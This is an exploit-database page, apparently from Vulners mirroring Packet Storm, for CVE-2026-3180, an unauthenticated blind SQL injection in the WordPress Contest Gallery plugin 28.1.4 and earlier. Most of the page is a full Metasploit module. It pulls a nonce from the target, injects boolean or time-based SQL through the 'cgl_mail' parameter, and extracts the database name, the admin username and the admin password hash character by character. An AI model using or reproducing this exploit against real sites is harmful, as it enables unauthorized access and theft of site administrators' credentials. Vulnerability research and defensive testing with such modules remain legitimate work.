Lucene search
K

📄 WordPress Contest Gallery 28.1.4 Blind SQL Injection

🗓️ 09 Jun 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 6 Views

Exploits blind boolean query injection in WordPress Contest Gallery plugin 28.1.4 and earlier.

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for CVE-2026-3180
4 Jun 202621:27
githubexploit
ATTACKERKB
CVE-2026-3180
2 Mar 202617:23
attackerkb
Circl
CVE-2026-3180
2 Mar 202619:00
circl
CNNVD
WordPress plugin Contest Gallery SQL注入漏洞
2 Mar 202600:00
cnnvd
CVE
CVE-2026-3180
2 Mar 202617:23
cve
Cvelist
CVE-2026-3180 Contest Gallery <= 28.1.4 - Unauthenticated SQL Injection
2 Mar 202617:23
cvelist
EUVD
EUVD-2026-9223
2 Mar 202617:23
euvd
NVD
CVE-2026-3180
2 Mar 202618:16
nvd
Packet Storm
📄 WordPress Contest Gallery 28.1.4 SQL Injection
5 Jun 202600:00
packetstorm
Patchstack
WordPress Contest Gallery plugin <= 28.1.4 - Unauthenticated SQL Injection vulnerability
3 Mar 202608:26
patchstack
Rows per page
==================================================================================================================================
    | # Title     : WordPress Contest Gallery 28.1.4 Blind SQL Injection                                                             |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                 |
    | # Vendor    : https://wordpress.org/plugins/contest-gallery/                                                                   |
    ==================================================================================================================================
    
    [+] Summary    : This Metasploit module targets a reported blind SQL injection vulnerability in the WordPress Contest Gallery plugin (v28.1.4 and earlier).
    
    [+] POC        :  
    
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Auxiliary
      include Msf::Exploit::Remote::HttpClient
      include Msf::Auxiliary::Scanner
      include Msf::Auxiliary::Report
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'WordPress Contest Gallery 28.1.4 Blind SQL Injection',
            'Description' => %q{
              This module exploits a blind boolean-based SQL injection vulnerability in
              WordPress plugin Contest Gallery version 28.1.4 and earlier. The vulnerability
              exists in the 'post_cg1l_resend_unconfirmed_mail_frontend' AJAX action where
              the 'cgl_mail' parameter is improperly sanitized. The sanitize_email() function
              preserves single quotes in the local part of an email address, allowing
              unauthenticated attackers to perform boolean-based blind SQL injection.
            },
            'Author' => [
              'indoushka'
            ],
            'References' => [
              ['CVE', '2026-3180'],
              ['URL', 'https://example.com/advisory'] 
            ],
            'DisclosureDate' => '2026-06-07',
            'License' => MSF_LICENSE,
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [IOC_IN_LOGS]
            }
          )
        )
    
        register_options([
          OptString.new('TARGETURI', [true, 'The base path to WordPress installation', '/']),
          OptInt.new('TIME_BASED', [false, 'Use time-based injection (seconds delay)', 0]),
          OptString.new('NONCE', [false, 'The cg_nonce value (if known)', '']),
          OptString.new('PAGE_ID', [true, 'The cgl_page_id value', '1']),
          OptEnum.new('INJECTION_TYPE', [true, 'Type of injection to use', 'BOOLEAN', ['BOOLEAN', 'TIME']])
        ])
      end
    
      def wordpress_base
        normalize_uri(target_uri.path)
      end
    
      def ajax_url
        normalize_uri(wordpress_base, 'wp-admin', 'admin-ajax.php')
      end
    
      def fetch_nonce
        unless datastore['NONCE'].empty?
          vprint_good("Using provided nonce: #{datastore['NONCE']}")
          return datastore['NONCE']
        end
    
        print_status("Attempting to extract cg_nonce from the target...")
        
        begin
          res = send_request_cgi({
            'method' => 'GET',
            'uri' => wordpress_base
          })
    
          if res && res.body
            if res.body =~ /cg_nonce["']\s*:\s*["']([^"']+)["']/i
              nonce = Regexp.last_match(1)
              print_good("Found nonce: #{nonce}")
              return nonce
            elsif res.body =~ /name=["']cg_nonce["']\s+value=["']([^"']+)["']/i
              nonce = Regexp.last_match(1)
              print_good("Found nonce: #{nonce}")
              return nonce
            end
          end
        rescue => e
          vprint_error("Failed to fetch nonce: #{e.message}")
        end
    
        print_warning("Could not extract nonce. Some targets may reject the request.")
        return ''
      end
    
      def send_sqli_payload(injection)
        nonce = fetch_nonce
        email = "test'#{injection}#@example.com"
        
        post_data = {
          'action' => 'post_cg1l_resend_unconfirmed_mail_frontend',
          'cgl_mail' => email,
          'cgl_page_id' => datastore['PAGE_ID'],
          'cgl_activation_key' => '',
          'cg_nonce' => nonce
        }
    
        begin
          res = send_request_cgi({
            'method' => 'POST',
            'uri' => ajax_url,
            'vars_post' => post_data
          })
          return res
        rescue ::Rex::ConnectionError => e
          print_error("Connection failed: #{e.message}")
          return nil
        end
      end
    
      def boolean_test(condition)
        injection = "') OR #{condition} #"
        res = send_sqli_payload(injection)
    
        if res && res.body
    
          return res.body.length > 500  
        end
        false
      end
    
      def time_test(condition)
        injection = "') OR IF(#{condition}, SLEEP(#{datastore['TIME_BASED']}), 0) #"
        
        start_time = Time.now
        res = send_sqli_payload(injection)
        elapsed = Time.now - start_time
        
        return elapsed >= datastore['TIME_BASED']
      end
    
      def run_host(ip)
        unless datastore['TIME_BASED'] > 0 || datastore['INJECTION_TYPE'] == 'BOOLEAN'
          print_error("For TIME injection, set TIME_BASED > 0")
          return
        end
    
        print_status("Testing vulnerability on #{peer}")
        test_true = datastore['INJECTION_TYPE'] == 'BOOLEAN' ? 
          boolean_test('1=1') : time_test('1=1')
        
        test_false = datastore['INJECTION_TYPE'] == 'BOOLEAN' ? 
          boolean_test('1=2') : time_test('1=2')
    
        unless test_true == true && test_false == false
          print_error("Target does not appear to be vulnerable")
          return
        end
    
        print_good("Target is vulnerable to #{datastore['INJECTION_TYPE']}-based blind SQL injection!")
        print_status("Attempting to extract database name...")
        dbname = blind_extract_data("SELECT DATABASE()")
        print_good("Database name: #{dbname}")
        print_status("Extracting admin username...")
        admin_user = blind_extract_data(
          "SELECT user_login FROM wp_users WHERE ID=1"
        )
        print_good("Admin user: #{admin_user}")
        print_status("Extracting admin password hash...")
        admin_hash = blind_extract_data(
          "SELECT user_pass FROM wp_users WHERE ID=1"
        )
        print_good("Admin hash: #{admin_hash}")
    
        report_vuln({
          host: rhost,
          port: rport,
          name: self.name,
          refs: references,
          info: "Blind SQL injection in Contest Gallery plugin"
        })
        
        report_cred({
          username: admin_user,
          hash: admin_hash,
          type: 'nonreplayable_hash',
          proof: "Extracted via blind SQL injection",
          jtr_format: 'phpass'
        })
      end
    
      def blind_extract_data(query)
        result = ""
        charset = (32..126).map(&:chr).join
        
        1.upto(64) do |pos|
          found = false
          
          charset.each_char do |char|
            condition = "ASCII(SUBSTRING((#{query}), #{pos}, 1)) = #{char.ord}"
            
            is_true = datastore['INJECTION_TYPE'] == 'BOOLEAN' ? 
              boolean_test(condition) : time_test(condition)
            
            if is_true
              result << char
              print_status("  Found: #{result}")
              found = true
              break
            end
          end
          
          break unless found
        end
        
        result
      end
    end
    
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

09 Jun 2026 00:00Current
5.7Medium risk
Vulners AI Score5.7
CVSS 3.17.5
EPSS0.0053
SSVC
6